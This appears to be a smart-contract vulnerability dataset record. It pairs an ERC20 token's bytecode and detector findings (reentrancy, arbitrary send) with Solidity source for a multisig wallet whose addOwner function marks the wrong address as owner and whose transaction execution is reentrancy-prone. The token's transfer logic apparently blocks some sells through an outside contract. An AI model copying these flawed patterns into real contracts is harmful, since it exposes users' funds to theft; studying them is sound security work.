function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb14610267578063c9567bf914610287578063dd62ed3e1461029c578063f4293890146102e257600080fd5b8063715018a6146101f95780638da5cb5b1461020e57806395d89b411461023657600080fd5b806323b872dd116100bb57806323b872dd14610186578063313ce567146101a657806351bc3c85146101c257806370a08231146101d957600080fd5b806306fdde03146100ed578063095ea7b31461013157806318160ddd1461016157600080fd5b366100e857005b600080fd5b3480156100f957600080fd5b50604080518082019091526009815268456c6f6e204d61727360b81b60208201525b604051610128919061133d565b60405180910390f35b34801561013d57600080fd5b5061015161014c3660046113a7565b6102f7565b6040519015158152602001610128565b34801561016d57600080fd5b50678ac7230489e800005b604051908152602001610128565b34801561019257600080fd5b506101516101a13660046113d3565b61030e565b3480156101b257600080fd5b5060405160088152602001610128565b3480156101ce57600080fd5b506101d7610377565b005b3480156101e557600080fd5b506101786101f4366004611414565b6103b0565b34801561020557600080fd5b506101d76103d2565b34801561021a57600080fd5b506000546040516001600160a01b039091168152602001610128565b34801561024257600080fd5b50604080518082019091526008815267454c4f4e4d41525360c01b602082015261011b565b34801561027357600080fd5b506101516102823660046113a7565b61047b565b34801561029357600080fd5b506101d7610488565b3480156102a857600080fd5b506101786102b7366004611431565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156102ee57600080fd5b506101d7610870565b600061030433848461089a565b5060015b92915050565b600061031b8484846109be565b61036d8433610368856040518060600160405280602881526020016115fe602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610c59565b61089a565b5060019392505050565b6009546001600160a01b0316336001600160a01b03161461039757600080fd5b60006103a2306103b0565b90506103ad81610c93565b50565b6001600160a01b03811660009081526002602052604081205461030890610e1c565b6000546001600160a01b031633146104315760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103043384846109be565b6000546001600160a01b031633146104e25760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610428565b600b54600160a01b900460ff161561053c5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610428565b600a80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105783082678ac7230489e8000061089a565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156105b157600080fd5b505afa1580156105c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105e9919061146a565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561063157600080fd5b505afa158015610645573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610669919061146a565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156106b157600080fd5b505af11580156106c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e9919061146a565b600b80546001600160a01b0319166001600160a01b03928316179055600a541663f305d7194730610719816103b0565b60008061072e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561079157600080fd5b505af11580156107a5573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107ca9190611487565b5050600b805462ff00ff60a01b1981166201000160a01b17909155600a5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561083457600080fd5b505af1158015610848573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086c91906114b5565b5050565b6009546001600160a01b0316336001600160a01b03161461089057600080fd5b476103ad81610ea0565b6001600160a01b0383166108fc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610428565b6001600160a01b03821661095d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610428565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a225760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610428565b6001600160a01b038216610a845760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610428565b60008111610ae65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610428565b604051635cf85fb360e11b815230600482015273c6866ce931d4b765d66080dd6a47566ccb99f62f9063b9f0bf669060240160206040518083038186803b158015610b3057600080fd5b505afa158015610b44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6891906114d7565b600b546001600160a01b038481169116148015610b935750600a546001600160a01b03858116911614155b610b9e576000610ba0565b815b1115610bab57600080fd5b6000546001600160a01b03848116911614801590610bd757506000546001600160a01b03838116911614155b15610c49576000610be7306103b0565b600b54909150600160a81b900460ff16158015610c125750600b546001600160a01b03858116911614155b8015610c275750600b54600160b01b900460ff165b15610c4757610c3581610c93565b478015610c4557610c4547610ea0565b505b505b610c54838383610eda565b505050565b60008184841115610c7d5760405162461bcd60e51b8152600401610428919061133d565b506000610c8a8486611506565b95945050505050565b600b805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610cdb57610cdb61151d565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610d2f57600080fd5b505afa158015610d43573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d67919061146a565b81600181518110610d7a57610d7a61151d565b6001600160a01b039283166020918202929092010152600a54610da0913091168461089a565b600a5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610dd9908590600090869030904290600401611533565b600060405180830381600087803b158015610df357600080fd5b505af1158015610e07573d6000803e3d6000fd5b5050600b805460ff60a81b1916905550505050565b6000600754821115610e835760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610428565b6000610e8d610ee5565b9050610e998382610f08565b9392505050565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561086c573d6000803e3d6000fd5b610c54838383610f4a565b6000806000610ef2611041565b9092509050610f018282610f08565b9250505090565b6000610e9983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611081565b600080600080600080610f5c876110af565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610f8e908761110a565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610fbd908661114c565b6001600160a01b038916600090815260026020526040902055610fdf816111ab565b610fe984836111f5565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161102e91815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e8000061105c8282610f08565b82101561107857505060075492678ac7230489e8000092509050565b90939092509050565b600081836110a25760405162461bcd60e51b8152600401610428919061133d565b506000610c8a84866115a4565b60008060008060008060008060006110ca8a60016009611219565b92509250925060006110da610ee5565b905060008060006110ed8e87878761126e565b919e509c509a509598509396509194505050505091939550919395565b6000610e9983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c59565b60008061115983856115c6565b905083811015610e995760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610428565b60006111b5610ee5565b905060006111c383836112be565b306000908152600260205260409020549091506111e0908261114c565b30600090815260026020526040902055505050565b600754611202908361110a565b600755600854611212908261114c565b6008555050565b6000808080611233606461122d89896112be565b90610f08565b90506000611246606461122d8a896112be565b9050600061125e826112588b8661110a565b9061110a565b9992985090965090945050505050565b600080808061127d88866112be565b9050600061128b88876112be565b9050600061129988886112be565b905060006112ab82611258868661110a565b939b939a50919850919650505050505050565b6000826112cd57506000610308565b60006112d983856115de565b9050826112e685836115a4565b14610e995760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610428565b600060208083528351808285015260005b8181101561136a5785810183015185820160400152820161134e565b8181111561137c576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146103ad57600080fd5b600080604083850312156113ba57600080fd5b82356113c581611392565b946020939093013593505050565b6000806000606084860312156113e857600080fd5b83356113f381611392565b9250602084013561140381611392565b929592945050506040919091013590565b60006020828403121561142657600080fd5b8135610e9981611392565b6000806040838503121561144457600080fd5b823561144f81611392565b9150602083013561145f81611392565b809150509250929050565b60006020828403121561147c57600080fd5b8151610e9981611392565b60008060006060848603121561149c57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156114c757600080fd5b81518015158114610e9957600080fd5b6000602082840312156114e957600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b600082821015611518576115186114f0565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115835784516001600160a01b03168352938301939183019160010161155e565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826115c157634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156115d9576115d96114f0565b500190565b60008160001904831182151516156115f8576115f86114f0565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220370e96ffe8710d454ac2cac3376370bbba762ca6f48bea01663ec65aa6bff85c64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,667 |
0xd482c677db5a44b23ba6eed7f4a355a6b1465619
|
pragma solidity ^0.4.18;
contract IToken {
function executeSettingsChange(
uint amount,
uint partInvestor,
uint partProject,
uint partFounders,
uint blocksPerStage,
uint partInvestorIncreasePerStage,
uint maxStages
);
}
contract MultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
address owner; //the one who creates the contract, only this person can set the token
uint public required;
uint public transactionCount;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
IToken public token;
struct SettingsRequest {
uint amount;
uint partInvestor;
uint partProject;
uint partFounders;
uint blocksPerStage;
uint partInvestorIncreasePerStage;
uint maxStages;
bool executed;
mapping(address => bool) confirmations;
}
uint settingsRequestsCount = 0;
mapping(uint => SettingsRequest) settingsRequests;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier ownerDoesNotExist(address _owner) {
require(!isOwner[_owner]);
_;
}
modifier ownerExists(address _owner) {
require(isOwner[_owner]);
_;
}
modifier transactionExists(uint _transactionId) {
require(transactions[_transactionId].destination != 0);
_;
}
modifier confirmed(uint _transactionId, address _owner) {
require(confirmations[_transactionId][_owner]);
_;
}
modifier notConfirmed(uint _transactionId, address _owner) {
require(!confirmations[_transactionId][_owner]);
_;
}
modifier notExecuted(uint _transactionId) {
require(!transactions[_transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount < MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function() public payable {
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) {
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
owner = msg.sender;
}
function setToken(address _token) public onlyOwner {
require(token == address(0));
token = IToken(_token);
}
//---------------- TGE SETTINGS -----------
/// @dev Sends request to change settings
/// @return Transaction ID
function tgeSettingsChangeRequest(
uint amount,
uint partInvestor,
uint partProject,
uint partFounders,
uint blocksPerStage,
uint partInvestorIncreasePerStage,
uint maxStages
)
public
ownerExists(msg.sender)
returns (uint _txIndex)
{
assert(amount*partInvestor*partProject*blocksPerStage*partInvestorIncreasePerStage*maxStages != 0); //asserting no parameter is zero except partFounders
_txIndex = settingsRequestsCount;
settingsRequests[_txIndex] = SettingsRequest({
amount: amount,
partInvestor: partInvestor,
partProject: partProject,
partFounders: partFounders,
blocksPerStage: blocksPerStage,
partInvestorIncreasePerStage: partInvestorIncreasePerStage,
maxStages: maxStages,
executed: false
});
settingsRequestsCount++;
confirmSettingsChange(_txIndex);
return _txIndex;
}
/// @dev Allows an owner to confirm a change settings request.
/// @param _txIndex Transaction ID.
function confirmSettingsChange(uint _txIndex) public ownerExists(msg.sender) returns(bool success) {
require(settingsRequests[_txIndex].executed == false);
settingsRequests[_txIndex].confirmations[msg.sender] = true;
if(isConfirmedSettingsRequest(_txIndex)){
SettingsRequest storage request = settingsRequests[_txIndex];
request.executed = true;
IToken(token).executeSettingsChange(
request.amount,
request.partInvestor,
request.partProject,
request.partFounders,
request.blocksPerStage,
request.partInvestorIncreasePerStage,
request.maxStages
);
return true;
} else {
return false;
}
}
function isConfirmedSettingsRequest(uint transactionId) public view returns (bool) {
uint count = 0;
for (uint i = 0; i < owners.length; i++) {
if (settingsRequests[transactionId].confirmations[owners[i]])
count += 1;
if (count == required)
return true;
}
return false;
}
function getSettingsChangeConfirmationCount(uint _txIndex) public view returns (uint count) {
for (uint i=0; i<owners.length; i++)
if (settingsRequests[_txIndex].confirmations[owners[i]])
count += 1;
}
/// @dev Shows what settings were requested in a settings change request
function viewSettingsChange(uint _txIndex) public constant
returns (uint amount, uint partInvestor, uint partProject, uint partFounders, uint blocksPerStage, uint partInvestorIncreasePerStage, uint maxStages) {
SettingsRequest memory request = settingsRequests[_txIndex];
return (
request.amount,
request.partInvestor,
request.partProject,
request.partFounders,
request.blocksPerStage,
request.partInvestorIncreasePerStage,
request.maxStages
);
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param _owner Address of new owner.
function addOwner(address _owner)
public
onlyWallet
ownerDoesNotExist(_owner)
notNull(_owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(_owner);
OwnerAddition(_owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param _owner Address of owner.
function removeOwner(address _owner)
public
onlyWallet
ownerExists(_owner)
{
isOwner[_owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == _owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(_owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param _owner Address of owner to be replaced.
/// @param _newOwner Address of new owner.
function replaceOwner(address _owner, address _newOwner)
public
onlyWallet
ownerExists(_owner)
ownerDoesNotExist(_newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == _owner) {
owners[i] = _newOwner;
break;
}
isOwner[_owner] = false;
isOwner[_newOwner] = true;
OwnerRemoval(_owner);
OwnerAddition(_newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) {
required = _required;
RequirementChange(_required);
}
function setFinishedTx() public ownerExists(msg.sender) returns(uint transactionId) {
transactionId = addTransaction(token, 0, hex"64f65cc0");
confirmTransaction(transactionId);
}
function setLiveTx() public ownerExists(msg.sender) returns(uint transactionId) {
transactionId = addTransaction(token, 0, hex"9d0714b2");
confirmTransaction(transactionId);
}
function setFreezeTx() public ownerExists(msg.sender) returns(uint transactionId) {
transactionId = addTransaction(token, 0, hex"2c8cbe40");
confirmTransaction(transactionId);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data) public
ownerExists(msg.sender)
notNull(destination)
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param _transactionId Transaction ID.
function executeTransaction(uint _transactionId) public notExecuted(_transactionId) {
if (isConfirmed(_transactionId)) {
Transaction storage trx = transactions[_transactionId];
trx.executed = true;
if (trx.destination.call.value(trx.value)(trx.data))
Execution(_transactionId);
else {
ExecutionFailure(_transactionId);
trx.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId) public view returns (bool) {
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
return false;
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data) internal returns (uint transactionId) {
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId) public constant returns (uint count) {
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed) public constant returns (uint count) {
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners() public constant returns (address[]) {
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) {
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) {
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=from; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
0x60606040526004361061018b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c27146101e5578063144fa6d714610248578063173825d91461028157806320ea8d86146102ba5780632789192f146102dd5780632f54bf6e146103185780633411c81c14610369578063451bedb3146103c35780634ab320b4146103fa578063547415251461045b5780637065cb481461049f57806374651594146104d8578063784547a7146105455780638b51d13f1461058057806395c7b007146105b757806397100be9146105e05780639ace38c214610609578063a0e67e2b14610707578063a8abe69a14610771578063b5dc40c314610808578063b77bf60014610880578063b8dd3c55146108a9578063ba51a6df146108e4578063c01a8c8414610907578063c64274741461092a578063d74f8edd146109c3578063dc8452cd146109ec578063e20056e614610a15578063e58b5ab214610a6d578063ee22610b14610a96578063fc0c546a14610ab9575b60003411156101e3573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34156101f057600080fd5b6102066004808035906020019091905050610b0e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561025357600080fd5b61027f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b4d565b005b341561028c57600080fd5b6102b8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c4a565b005b34156102c557600080fd5b6102db6004808035906020019091905050610ee6565b005b34156102e857600080fd5b6102fe600480803590602001909190505061108e565b604051808215151515815260200191505060405180910390f35b341561032357600080fd5b61034f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061117b565b604051808215151515815260200191505060405180910390f35b341561037457600080fd5b6103a9600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061119b565b604051808215151515815260200191505060405180910390f35b34156103ce57600080fd5b6103e460048080359060200190919050506111ca565b6040518082815260200191505060405180910390f35b341561040557600080fd5b61041b6004808035906020019091905050611299565b6040518088815260200187815260200186815260200185815260200184815260200183815260200182815260200197505050505050505060405180910390f35b341561046657600080fd5b61048960048080351515906020019091908035151590602001909190505061136c565b6040518082815260200191505060405180910390f35b34156104aa57600080fd5b6104d6600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506113fe565b005b34156104e357600080fd5b61052f6004808035906020019091908035906020019091908035906020019091908035906020019091908035906020019091908035906020019091908035906020019091905050611621565b6040518082815260200191505060405180910390f35b341561055057600080fd5b610566600480803590602001909190505061177d565b604051808215151515815260200191505060405180910390f35b341561058b57600080fd5b6105a16004808035906020019091905050611867565b6040518082815260200191505060405180910390f35b34156105c257600080fd5b6105ca611933565b6040518082815260200191505060405180910390f35b34156105eb57600080fd5b6105f3611a00565b6040518082815260200191505060405180910390f35b341561061457600080fd5b61062a6004808035906020019091905050611acd565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001831515151581526020018281038252848181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156106f55780601f106106ca576101008083540402835291602001916106f5565b820191906000526020600020905b8154815290600101906020018083116106d857829003601f168201915b50509550505050505060405180910390f35b341561071257600080fd5b61071a611b29565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561075d578082015181840152602081019050610742565b505050509050019250505060405180910390f35b341561077c57600080fd5b6107b1600480803590602001909190803590602001909190803515159060200190919080351515906020019091905050611bbd565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156107f45780820151818401526020810190506107d9565b505050509050019250505060405180910390f35b341561081357600080fd5b6108296004808035906020019091905050611d18565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561086c578082015181840152602081019050610851565b505050509050019250505060405180910390f35b341561088b57600080fd5b610893611f42565b6040518082815260200191505060405180910390f35b34156108b457600080fd5b6108ca6004808035906020019091905050611f48565b604051808215151515815260200191505060405180910390f35b34156108ef57600080fd5b610905600480803590602001909190505061218b565b005b341561091257600080fd5b6109286004808035906020019091905050612244565b005b341561093557600080fd5b6109ad600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612421565b6040518082815260200191505060405180910390f35b34156109ce57600080fd5b6109d66124c2565b6040518082815260200191505060405180910390f35b34156109f757600080fd5b6109ff6124c7565b6040518082815260200191505060405180910390f35b3415610a2057600080fd5b610a6b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506124cd565b005b3415610a7857600080fd5b610a806127e4565b6040518082815260200191505060405180910390f35b3415610aa157600080fd5b610ab760048080359060200190919050506128b1565b005b3415610ac457600080fd5b610acc612a6d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600381815481101515610b1d57fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ba957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610c0657600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c8657600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610cdf57600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610e67578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610d7257fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610e5a576003600160038054905003815481101515610dd157fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610e0c57fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e67565b8180600101925050610d3c565b6001600381818054905003915081610e7f9190612bbd565b506003805490506005541115610e9e57610e9d60038054905061218b565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610f3f57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610faa57600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610fda57600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b6000806000809150600090505b60038054905081101561116f576009600085815260200190815260200160002060080160006003838154811015156110cf57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561114f576001820191505b6005548214156111625760019250611174565b808060010191505061109b565b600092505b5050919050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b6003805490508110156112935760096000848152602001908152602001600020600801600060038381548110151561120657fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611286576001820191505b80806001019150506111d2565b50919050565b60008060008060008060006112ac612be9565b600960008a81526020019081526020016000206101006040519081016040529081600082015481526020016001820154815260200160028201548152602001600382015481526020016004820154815260200160058201548152602001600682015481526020016007820160009054906101000a900460ff1615151515815250509050806000015181602001518260400151836060015184608001518560a001518660c00151975097509750975097509750975050919395979092949650565b600080600090505b6006548110156113f7578380156113ab575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806113de57508280156113dd575060008082815260200190815260200160002060030160009054906101000a900460ff165b